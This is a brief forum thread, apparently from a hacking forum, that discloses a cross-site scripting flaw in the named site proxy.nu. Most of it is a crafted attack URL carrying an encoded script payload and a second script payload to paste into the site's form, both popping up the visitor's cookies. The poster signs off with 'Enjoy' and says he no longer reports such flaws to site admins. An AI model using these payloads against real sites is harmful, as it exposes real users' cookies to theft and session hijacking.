Thread: www.proxy.nu - XSS

Code

```
http://proxy.nu/index.php?e=invalid_url&return=http%3A%2F%2Fproxy.nu%2Fbrowse.php%3Fu%3Dhttp%253A%252F%252F%2522%25E%253Cscript%253Ealert%28document.cookie%29%253C%252Fscript%253E%26b%3D0%26f%3Dnoreferrer&p=YToxOntpOjA7czo0ODoiaHR0cDovLyl+PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+Ijt9
```

If it doesn't work (probably not) you just have to navigate to <http://www.proxy.nu> and paste the following code:

```
Code "><script>alert(document.cookie)</script>
```

Enjoy.

I've given up on sending vulnerabilities to admins, not even the biggest sites reply...

Since XSS is Client-side, the simple answer is: no.
